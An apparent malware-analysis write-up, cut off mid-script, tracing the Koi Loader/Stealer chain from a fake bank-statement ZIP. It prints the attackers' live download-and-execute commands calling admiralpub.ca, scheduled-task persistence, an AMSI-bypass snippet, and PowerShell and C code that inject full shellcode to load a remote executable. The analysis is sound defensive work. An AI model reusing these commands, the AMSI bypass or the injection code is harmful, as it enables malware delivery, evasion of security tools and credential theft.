Koi Loader/Stealer - Part 1

On January 12, 2024, Cyble released a report titled "Sneaky Azorult Back in Action and Goes Undetected," highlighting key indicators of a concerning resurgence. Subsequent analysis by InfoSec experts revealed that this malware constituted a wholly new variant, devoid of any code overlap with previous Azorult iterations.

The Koi Loader campaign orchestrates a multi-stage infection chain culminating in the dissemination of the Koi Stealer malware.

A "loader" is a type of malicious software designed to facilitate the delivery and execution of additional malware payloads onto a victim's system. Its primary function is to initiate the infection process by downloading and installing further malicious components, often operating stealthily to evade detection and to maintain persistence within the compromised system.

On the other hand, a "stealer" malware, such as the Koi Stealer in this context, specializes in clandestinely extracting sensitive information from infected devices. Typically, this includes credentials, financial data, and other personally identifiable information, which is then exfiltrated to remote servers controlled by malicious actors. Stealers are engineered to operate covertly, aiming to evade detection by security measures while surreptitiously harvesting valuable data from compromised systems.

The current Koi Loader/Koi Stealer campaigns are incorporating bank statement-themed lures, as indicated by the findings outlined in the Cyble report and the information discussed on this platform.

Before discussing the intricacies of the analysis, let us first examine an overview of the infection chain.

Figure 1: Illustrates the infection chain of the Koi Loader/Koi Stealer campaign.

Despite the initial challenge in obtaining the initial email, Brad (@malware_traffic) successfully acquired the redirection link presented to the user to download the malicious statement. Additionally, he meticulously documented the step-by-step process of the infected ZIP download from the perspective of an unsuspecting user as shown below.

Figure 2: Brad's depiction of the step-by-step process of the infected ZIP download from the perspective of an unsuspecting user

Lastly, before delving into the analysis, it is important to acknowledge the contribution of Unit 42 (@Unit42_Intel), who was the first to attribute this malware as Koi Loader/Koi Stealer in their X post.

In this article, we will analyze a file similar to the one observed by Brad, titled 'chasebank_statement_mar.zip'.


Figure 3: Illustrates the malicious ZIP file, disguised as a Chase Bank statement

Upon extraction, an LNK file impersonating a PDF document is observed, with the icon resembling that of a PDF document.

Figure 4: Depicts the LNK file impersonating a PDF document

Upon viewing the file properties, we are able to see the file command line.

Figure 5: Illustrates the malicious command line associated with the LNK file

The associated command line with the LNK file is as follows:

%systemroot%\System32\cmd.exe /c curl -o 6E7ybtsVNxGv.bat "https://admiralpub.ca/wp-content/uploads/2017/olympiadic.php" & schtasks /create /f /tr "'%tmp%\6E7ybtsVNxGv.bat' XrRmf10jze3g6UI" /sc minute /tn XrRmf10jze3g6UI /mo 1

The provided command line indicates that upon execution, the file downloads a malicious BAT file to the temporary directory and establishes a scheduled task to execute it every minute.

Figure 6: Depicts the downloaded malicious BAT file

Upon inspecting the contents of the BAT file, it becomes apparent that it contains Powershell commands to download a malicious JS file to the temporary directory, delete the previously created scheduled task by the LNK file, and execute the malicious JS file using wscript.exe.

Figure 7: Illustrates the batch script contained within the malicious BAT file

For reference, the contents of the malicious batch script are as follows:

start /min powershell -com "IWR -useb 'https://admiralpub.ca/wp-content/uploads/2017/oligophosphaturia.php' -outf '%tmp%\GSOLAMHFGX09.js'; schtasks /delete /tn %1 /f; wscript %tmp%\GSOLAMHFGX09.js"

Figure 8: Depicts the downloaded malicious JS file

Upon inspecting the downloaded JS file, a lightly obfuscated script is observed.

Figure 9: Illustrates the obfuscated contents of the JS file

For reference, the contents of the malicious JS file are as follows:

var f1="Scr",f2="ing.Fi",f3="stemOb" var fso = new ActiveXObject(f1+"ipt"+f2+"leSy"+f3+"ject"); var w1="WSc",w2="riPt",w4="eLl" var wsh=w1+w2+".sH"+w4 var bbj=new ActiveXObject(wsh) var fldr=GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth==64?"SysWOW64":"System32" var rd=bbj.ExpandEnvironmentStrings("%SYSTEMROOT%")+"\\"+fldr+"\\WindowsPowerShell\\v1.0\\powershell.exe" if (WScript.ScriptName != "agent.js") { var fs5="yFi" try { fso["Cop"+fs5+"le"](WScript.ScriptFullName, bbj.ExpandEnvironmentStrings("%programdata%")+"\\agent.js"); } catch (e) {} } var mtx_name="7zNAE19F6PMG"; var mtx_file = bbj.ExpandEnvironmentStrings("%temp%")+"\\"+mtx_name; var fs1="leteFi" var fs2="leExis" try { fso["De"+fs1+"le"](mtx_file); } catch (e) {} if (!fso["Fi"+fs2+"ts"](mtx_file)) { bbj.Run(rd+" -command \"$env:paths = '" + mtx_name + "'; IEX(IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/agent1.ps1'); $f.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/agent3.ps1')\"", 0) }

The unobfuscated script is as follows:

var fso = new ActiveXObject("Scripting.FileSystemObject");
var wsh = "WScriPt.sHeLl"
var bbj = new ActiveXObject(wsh) var fldr = GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth == 64 ? "SysWOW64" : "System32"
var rd = bbj.ExpandEnvironmentStrings("%SYSTEMROOT%") + "\\" + fldr + "\\WindowsPowerShell\\v1.0\\powershell.exe"
if (WScript.ScriptName != "agent.js") {
    try {
        fso["CopyFile"](WScript.ScriptFullName, bbj.ExpandEnvironmentStrings("%programdata%") + "\\agent.js");
    } catch (e) {}
}
var mtx_name = "7zNAE19F6PMG";
var mtx_file = bbj.ExpandEnvironmentStrings("%temp%") + "\\" + mtx_name;
try {
    fso["DeleteFile"](mtx_file);
} catch (e) {}
if (!fso["FileExists"](mtx_file)) {
    bbj.Run(rd + " -command \"$env:paths = '" + mtx_name + "'; IEX(IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/agent1.ps1'); $f.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/agent3.ps1')\"", 0)
}

The malicious code provided above is responsible for initializing instances of FileSystemObject and WScript.Shell, determining the system's architecture and constructing the path to PowerShell executable accordingly. It then attempts to copy itself to a new location for persistence, excluding the scenario where the script name is agent.js. Subsequently, it defines a mutex name and tries to delete a mutex file. The core functionality lies in executing PowerShell commands: it sets an environment variable, downloads and executes two PowerShell scripts (agent1.ps1 and agent3.ps1) from remote URLs. This action occurs only if the mutex file does not exist.

Figure 10: Illustrates the downloaded malicious PowerShell scripts

The agent1.ps1 PowerShell script retrieves all types from the currently loaded assembly and searches for a specific type with a name containing "iUtils". Once this type is found, it proceeds to retrieve all non-public and static fields within it. Subsequently, it searches for a field within this type with a name containing "ailed".

The script likely targets AmsiUtils, indicated by the naming convention used to search for types containing "iUtils" and fields containing "ailed." In particular, the $f.SetValue($null,$true) command observed in the previous JS script sets the value of amsiInitFailed to true. This action effectively bypasses AMSI, a critical security feature in PowerShell, enabling malicious scripts to evade detection and execute without interference from AMSI's scanning mechanisms. By circumventing AMSI, the script can proceed with executing potentially harmful commands or payloads without being detected, posing significant security risks to the system.

Figure 11: Illustrates the script contained within agent1.ps1

For reference, the contents of the malicious agent1.ps1 file are as follows:

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields("NonPublic,Static");Foreach($e in $d) {if ($e.Name -like "*ailed") {$f=$e}};

After making modifications to the code and executing it, we obtain the targeted items. The modified code is as follows:

$a=[Ref].Assembly.GetTypes();

Foreach($b in $a) 
{if ($b.Name -like "*iUtils") {$c=$b; Write-Host $b}};

$d=$c.GetFields("NonPublic,Static");
Foreach($e in $d) 
{if ($e.Name -like "*ailed") {$f=$e; Write-Host $f}};

Figure 12: Displays the values of variables $c and $f as set by agent1.ps1

The agent3.ps1 Powershell script initializes shellcode ($sc) and retrieves the addresses of essential Win32 API functions like VirtualAlloc, CreateThread, and WaitForSingleObject. Subsequently, it allocates memory within the current process's address space using VirtualAlloc and copies the shellcode into this allocated memory. It creates a thread in the current process's context using CreateThread, passing the shellcode's start address as the thread's entry point and the remote executable's image buffer as a variable to be passed to the thread. Finally, it waits indefinitely for the thread to terminate using WaitForSingleObject.

Figure 13: Illustrates the script contained within agent3.ps1

For reference, the contents of the malicious agent3.ps1 file are as follows:

[Byte[]]$image = (IWR -UseBasicParsing 'https://admiralpub.ca/wp-content/uploads/2017/oligochaete.exe').Content;

function GDT
{
    Param
    (
        [OutputType([Type])]
            
        [Parameter( Position = 0)]
        [Type[]]
        $Parameters = (New-Object Type[](0)),
            
        [Parameter( Position = 1 )]
        [Type]
        $ReturnType = [Void]
    )

    $DA = New-Object System.Reflection.AssemblyName('RD')
    $AB = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DA, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $MB = $AB.DefineDynamicModule('IMM', $false)
    $TB = $MB.DefineType('MDT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $CB = $TB.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $CB.SetImplementationFlags('Runtime, Managed')
    $MB = $TB.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MB.SetImplementationFlags('Runtime, Managed')
        
    Write-Output $TB.CreateType()
}

function GPA
{
    Param
    (
        [OutputType([IntPtr])]
        
        [Parameter( Position = 0, Mandatory = $True )]
        [String]
        $Module,
            
        [Parameter( Position = 1, Mandatory = $True )]
        [String]
        $Procedure
    )

    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null)
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
        
    Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}

$marshal = [System.Runtime.InteropServices.Marshal]

[Byte[]]$sc = 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x56, 0x57, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x45, 0xF8, 0x8B, 0x75, 0xF8, 0xBA, 0xF1, 0xF0, 0xAD, 0x0A, 0x8B, 0xCE, 0xE8, 0xD2, 0x01, 0x00, 0x00, 0xBA, 0x03, 0x1D, 0x3C, 0x0B, 0x89, 0x45, 0xF0, 0x8B, 0xCE, 0xE8, 0xC3, 0x01, 0x00, 0x00, 0xBA, 0xE3, 0xCA, 0xD8, 0x03, 0x89, 0x45, 0xEC, 0x8B, 0xCE, 0xE8, 0xB4, 0x01, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x45, 0x08, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x8B, 0x70, 0x3C, 0x03, 0xF0, 0x89, 0x75, 0xFC, 0xFF, 0x76, 0x50, 0xFF, 0x76, 0x34, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x75, 0x17, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0xFF, 0x76, 0x50, 0x50, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x0F, 0x84, 0x66, 0x01, 0x00, 0x00, 0x8B, 0x56, 0x54, 0x85, 0xD2, 0x74, 0x18, 0x8B, 0x75, 0x08, 0x8B, 0xCF, 0x2B, 0xF7, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x0F, 0xB7, 0x4E, 0x14, 0x33, 0xC0, 0x03, 0xCE, 0x33, 0xDB, 0x89, 0x4D, 0xF4, 0x66, 0x3B, 0x46, 0x06, 0x73, 0x44, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0xC3, 0x8D, 0x04, 0x80, 0x8B, 0x54, 0xC1, 0x28, 0x8B, 0x74, 0xC1, 0x2C, 0x8B, 0x4C, 0xC1, 0x24, 0x03, 0x75, 0x08, 0x03, 0xCF, 0x85, 0xD2, 0x74, 0x13, 0x2B, 0xF1, 0x0F, 0x1F, 0x00, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x43, 0x8B, 0x4D, 0xF4, 0x66, 0x3B, 0x5E, 0x06, 0x72, 0xC5, 0x8B, 0x86, 0x80, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x76, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x14, 0x72, 0x6D, 0x83, 0x7C, 0x38, 0x0C, 0x00, 0x8D, 0x1C, 0x38, 0x89, 0x5D, 0x08, 0x74, 0x60, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x03, 0xC7, 0x50, 0xFF, 0x55, 0xF0, 0x8B, 0xD0, 0x89, 0x55, 0xF4, 0x85, 0xD2, 0x74, 0x3A, 0x8B, 0x73, 0x10, 0x8B, 0x0B, 0x85, 0xC9, 0x8D, 0x1C, 0x3E, 0x0F, 0x45, 0xF1, 0x03, 0xF7, 0x8B, 0x06, 0x85, 0xC0, 0x74, 0x22, 0x79, 0x05, 0x0F, 0xB7, 0xC0, 0xEB, 0x05, 0x83, 0xC0, 0x02, 0x03, 0xC7, 0x50, 0x52, 0xFF, 0x55, 0xEC, 0x8B, 0x55, 0xF4, 0x83, 0xC6, 0x04, 0x89, 0x03, 0x83, 0xC3, 0x04, 0x8B, 0x06, 0x85, 0xC0, 0x75, 0xDE, 0x8B, 0x5D, 0x08, 0x83, 0xC3, 0x14, 0x89, 0x5D, 0x08, 0x83, 0x7B, 0x0C, 0x00, 0x75, 0xA8, 0x8B, 0x75, 0xFC, 0x8B, 0xDF, 0x2B, 0x5E, 0x34, 0x83, 0xBE, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x52, 0x8B, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x48, 0x83, 0x3C, 0x38, 0x00, 0x8D, 0x14, 0x38, 0x74, 0x3F, 0x0F, 0x1F, 0x40, 0x00, 0x8B, 0x72, 0x04, 0x8D, 0x42, 0x04, 0x83, 0xEE, 0x08, 0x89, 0x45, 0x08, 0xD1, 0xEE, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x74, 0x1C, 0x0F, 0xB7, 0x44, 0x4A, 0x08, 0x66, 0x85, 0xC0, 0x74, 0x0A, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x02, 0x01, 0x1C, 0x38, 0x41, 0x3B, 0xCE, 0x72, 0xE7, 0x8B, 0x45, 0x08, 0x03, 0x10, 0x83, 0x3A, 0x00, 0x75, 0xC8, 0x8B, 0x75, 0xFC, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x89, 0x78, 0x08, 0x8B, 0x46, 0x28, 0x03, 0xC7, 0xFF, 0xD0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF8, 0x56, 0x57, 0x33, 0xFF, 0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x24, 0x03, 0xCB, 0x03, 0xD3, 0x89, 0x4D, 0xEC, 0x8B, 0x48, 0x20, 0x03, 0xCB, 0x89, 0x55, 0xF0, 0x8B, 0x50, 0x18, 0x89, 0x4D, 0xF4, 0x89, 0x55, 0xFC, 0x85, 0xD2, 0x74, 0x4B, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x34, 0xB9, 0x03, 0xF3, 0x74, 0x3A, 0x8A, 0x0E, 0x33, 0xC0, 0x84, 0xC9, 0x74, 0x2A, 0x90, 0xC1, 0xE0, 0x04, 0x8D, 0x76, 0x01, 0x0F, 0xBE, 0xC9, 0x03, 0xC1, 0x8B, 0xD0, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xF0, 0x74, 0x07, 0x8B, 0xCA, 0xC1, 0xE9, 0x18, 0x33, 0xC1, 0x8A, 0x0E, 0xF7, 0xD2, 0x23, 0xC2, 0x84, 0xC9, 0x75, 0xDA, 0x8B, 0x55, 0xFC, 0x3B, 0x45, 0xF8, 0x74, 0x11, 0x8B, 0x4D, 0xF4, 0x47, 0x3B, 0xFA, 0x72, 0xBA, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC

$VAAddr = GPA kernel32.dll VirtualAlloc
$VADeleg = GDT @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VA = $marshal::GetDelegateForFunctionPointer($VAAddr, $VADeleg)
$CTAddr = GPA kernel32.dll CreateThread
$CTDeleg = GDT @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CT = $marshal::GetDelegateForFunctionPointer($CTAddr, $CTDeleg)
$WFSOAddr = GPA kernel32.dll WaitForSingleObject
$WFSODeleg = GDT @([IntPtr], [Int32]) ([Int])
$WFSO = $marshal::GetDelegateForFunctionPointer($WFSOAddr, $WFSODeleg)

$x=$VA.Invoke(0,$sc.Length, 0x3000, 0x40)
$marshal::Copy($sc, 0, $x, $sc.Length);

$imageBuf = $marshal::AllocHGlobal($image.Length)
$marshal::Copy($image, 0, $imageBuf, $image.Length);

$thread = $CT.Invoke(0,0,$x,$imageBuf,0,0);
$WFSO.Invoke($thread, -1);

Before analyzing the remote .exe file, let's first examine the shellcode. The shellcode facilitates the loading and mapping of the remote Portable Executable (PE) image into memory by executing precise instructions to initialize the runtime environment and prepare the necessary resources. This procedure can be regarded as a form of obfuscation, as our observation indicates that the PE file executes seamlessly without requiring additional intervention from external sources.

Static analysis presents one avenue for examining the shellcode's behavior. However, its scope is limited, offering only a partial understanding of its intricacies.

Figure 14: Depicts an endeavor to analyze the shellcode statically

However, dynamic analysis has proven more fruitful in understanding the shellcode's behavior. Traditional shellcode execution tools lack the capability to pass required arguments, prompting us to develop the following barebones C program to execute the shellcode with the required arguments and analyze the shellcode effectively.

#include <Windows.h>

int main() {

    HANDLE hFile;
    DWORD fileSize, bytesRead;
    LPVOID lpFileBase;

    hFile = CreateFile(L"Path_to_downloaded_exe_file", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    fileSize = GetFileSize(hFile, NULL);
    lpFileBase = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    ReadFile(hFile, lpFileBase, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    unsigned char sc[] = {
        0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x56, 0x57, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x45, 0xF8, 0x8B, 0x75, 0xF8, 0xBA, 0xF1, 0xF0, 0xAD, 0x0A, 0x8B, 0xCE, 0xE8, 0xD2, 0x01, 0x00, 0x00, 0xBA, 0x03, 0x1D, 0x3C, 0x0B, 0x89, 0x45, 0xF0, 0x8B, 0xCE, 0xE8, 0xC3, 0x01, 0x00, 0x00, 0xBA, 0xE3, 0xCA, 0xD8, 0x03, 0x89, 0x45, 0xEC, 0x8B, 0xCE, 0xE8, 0xB4, 0x01, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x45, 0x08, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x8B, 0x70, 0x3C, 0x03, 0xF0, 0x89, 0x75, 0xFC, 0xFF, 0x76, 0x50, 0xFF, 0x76, 0x34, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x75, 0x17, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0xFF, 0x76, 0x50, 0x50, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x0F, 0x84, 0x66, 0x01, 0x00, 0x00, 0x8B, 0x56, 0x54, 0x85, 0xD2, 0x74, 0x18, 0x8B, 0x75, 0x08, 0x8B, 0xCF, 0x2B, 0xF7, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x0F, 0xB7, 0x4E, 0x14, 0x33, 0xC0, 0x03, 0xCE, 0x33, 0xDB, 0x89, 0x4D, 0xF4, 0x66, 0x3B, 0x46, 0x06, 0x73, 0x44, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0xC3, 0x8D, 0x04, 0x80, 0x8B, 0x54, 0xC1, 0x28, 0x8B, 0x74, 0xC1, 0x2C, 0x8B, 0x4C, 0xC1, 0x24, 0x03, 0x75, 0x08, 0x03, 0xCF, 0x85, 0xD2, 0x74, 0x13, 0x2B, 0xF1, 0x0F, 0x1F, 0x00, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x43, 0x8B, 0x4D, 0xF4, 0x66, 0x3B, 0x5E, 0x06, 0x72, 0xC5, 0x8B, 0x86, 0x80, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x76, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x14, 0x72, 0x6D, 0x83, 0x7C, 0x38, 0x0C, 0x00, 0x8D, 0x1C, 0x38, 0x89, 0x5D, 0x08, 0x74, 0x60, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x03, 0xC7, 0x50, 0xFF, 0x55, 0xF0, 0x8B, 0xD0, 0x89, 0x55, 0xF4, 0x85, 0xD2, 0x74, 0x3A, 0x8B, 0x73, 0x10, 0x8B, 0x0B, 0x85, 0xC9, 0x8D, 0x1C, 0x3E, 0x0F, 0x45, 0xF1, 0x03, 0xF7, 0x8B, 0x06, 0x85, 0xC0, 0x74, 0x22, 0x79, 0x05, 0x0F, 0xB7, 0xC0, 0xEB, 0x05, 0x83, 0xC0, 0x02, 0x03, 0xC7, 0x50, 0x52, 0xFF, 0x55, 0xEC, 0x8B, 0x55, 0xF4, 0x83, 0xC6, 0x04, 0x89, 0x03, 0x83, 0xC3, 0x04, 0x8B, 0x06, 0x85, 0xC0, 0x75, 0xDE, 0x8B, 0x5D, 0x08, 0x83, 0xC3, 0x14, 0x89, 0x5D, 0x08, 0x83, 0x7B, 0x0C, 0x00, 0x75, 0xA8, 0x8B, 0x75, 0xFC, 0x8B, 0xDF, 0x2B, 0x5E, 0x34, 0x83, 0xBE, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x52, 0x8B, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x48, 0x83, 0x3C, 0x38, 0x00, 0x8D, 0x14, 0x38, 0x74, 0x3F, 0x0F, 0x1F, 0x40, 0x00, 0x8B, 0x72, 0x04, 0x8D, 0x42, 0x04, 0x83, 0xEE, 0x08, 0x89, 0x45, 0x08, 0xD1, 0xEE, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x74, 0x1C, 0x0F, 0xB7, 0x44, 0x4A, 0x08, 0x66, 0x85, 0xC0, 0x74, 0x0A, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x02, 0x01, 0x1C, 0x38, 0x41, 0x3B, 0xCE, 0x72, 0xE7, 0x8B, 0x45, 0x08, 0x03, 0x10, 0x83, 0x3A, 0x00, 0x75, 0xC8, 0x8B, 0x75, 0xFC, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x89, 0x78, 0x08, 0x8B, 0x46, 0x28, 0x03, 0xC7, 0xFF, 0xD0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF8, 0x56, 0x57, 0x33, 0xFF, 0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x24, 0x03, 0xCB, 0x03, 0xD3, 0x89, 0x4D, 0xEC, 0x8B, 0x48, 0x20, 0x03, 0xCB, 0x89, 0x55, 0xF0, 0x8B, 0x50, 0x18, 0x89, 0x4D, 0xF4, 0x89, 0x55, 0xFC, 0x85, 0xD2, 0x74, 0x4B, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x34, 0xB9, 0x03, 0xF3, 0x74, 0x3A, 0x8A, 0x0E, 0x33, 0xC0, 0x84, 0xC9, 0x74, 0x2A, 0x90, 0xC1, 0xE0, 0x04, 0x8D, 0x76, 0x01, 0x0F, 0xBE, 0xC9, 0x03, 0xC1, 0x8B, 0xD0, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xF0, 0x74, 0x07, 0x8B, 0xCA, 0xC1, 0xE9, 0x18, 0x33, 0xC1, 0x8A, 0x0E, 0xF7, 0xD2, 0x23, 0xC2, 0x84, 0xC9, 0x75, 0xDA, 0x8B, 0x55, 0xFC, 0x3B, 0x45, 0xF8, 0x74, 0x11, 0x8B, 0x4D, 0xF4, 0x47, 0x3B, 0xFA, 0x72, 0xBA, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC
    };
    
    LPVOID shellcodeAddr = VirtualAlloc(0, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(shellcodeAddr, sc, sizeof(sc));
    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, lpFileBase, 0, NULL);

    WaitForSingleObject(thread, INFINITE);
}

Executing the provided code enables us to set breakpoints following the second VirtualAlloc call, which facilitates the debugging of the shellcode during execution. Importantly, the correct arguments are passed to recreate its intended behavior, enhancing the accuracy of our analysis. We arrived at the previously mentioned analysis of the shellcode by employing this process, which serves as the foundation for our understanding of the shellcode behavior.

Finally, let's delve into comprehending the functionality of the remote executable referenced in agent3.ps1.

Figure 15: Displays the remote executable referenced in agent3.ps1

Upon analysis, it's observed that this executable file functions as a loader tasked with extracting a block of data sized at 0x9c00 from alternate bytes within the .rsrc section of the PE file. Subsequently, it applies an XOR operation with the key specified immediately before the aforementioned data within the .rsrc section.

Figure 16: On the left, the decryption function is highlighted, while on the right, the XOR key is highlighted

Figure 17: On the left, the decryption function is highlighted, while on the right, the starting point of the encrypted data is highlighted

After reading alternate bytes from the beginning of the encrypted data section and decrypting it using the XOR key, the file proceeds to map the resulting decrypted PE file in memory for execution.

I have written a Python script to statically dump the decrypted PE file using the analysis points mentioned. This script also prints out URLs observed as strings from the dumped PE file.

import re

def xor_bytes(bytes1, bytes2):
    return bytes(a ^ b for a, b in zip(bytes1, bytes2))

def find_http_strings(decrypted_payload):
    # Try decoding with UTF-8
    try:
        decrypted_payload_str_utf8 = decrypted_payload.decode("utf-8", errors="ignore")
    except UnicodeDecodeError:
        decrypted_payload_str_utf8 = ""

    # Try decoding with UTF-16
    try:
        decrypted_payload_str_utf16 = decrypted_payload.decode("utf-16", errors="ignore")
    except UnicodeDecodeError:
        decrypted_payload_str_utf16 = ""

    # Combine both decoded strings
    decrypted_payload_str = decrypted_payload_str_utf8 + decrypted_payload_str_utf16

    # Use regex to find HTTP URLs
    http_urls = re.findall(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', decrypted_payload_str)
    
    return http_urls

def main():
    # Define the key
    key = bytes.fromhex("83 08 DF D6 68 7C 54 40 0F 1A 06 C9 DC C1 24 71 1A A3 EE 0D 9D 53 74")
    
    # Read the entire file
    with open("oligochaete.exe", "rb") as file:
